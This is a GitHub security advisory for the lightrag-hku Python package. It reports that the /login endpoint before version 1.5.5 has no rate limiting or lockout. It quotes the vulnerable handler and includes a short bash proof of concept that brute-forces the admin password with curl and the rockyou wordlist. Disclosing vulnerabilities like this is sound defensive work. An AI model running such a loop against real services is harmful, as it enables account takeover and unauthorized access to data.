GHSA-frch-4w6v-q5xx
lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| PyPI | lightrag-hku | < 1.5.5 | 1.5.5 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.
### Details
```python
# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
if not auth_handler.verify_password(username, form_data.password):
raise HTTPException(status_code=401, detail="Incorrect credentials")
# No: rate limit / lockout / backoff / CAPTCHA / attempt counter
```
A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.
### PoC
```bash
# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST http://<TARGET>:9621/login \
-d "username=admin&password=${pass}")
[ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt
```
### Impact
Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/HKUDS/LightRAG/security/advisories/GHSA-frch-4w6v-q5xx
- https://nvd.nist.gov/vuln/detail/CVE-2026-85734
- https://github.com/HKUDS/LightRAG/pull/3424
- https://github.com/HKUDS/LightRAG/commit/135bc9056e9ecd800c1abe2f2ce24d1a86622a54
- https://github.com/HKUDS/LightRAG
- https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5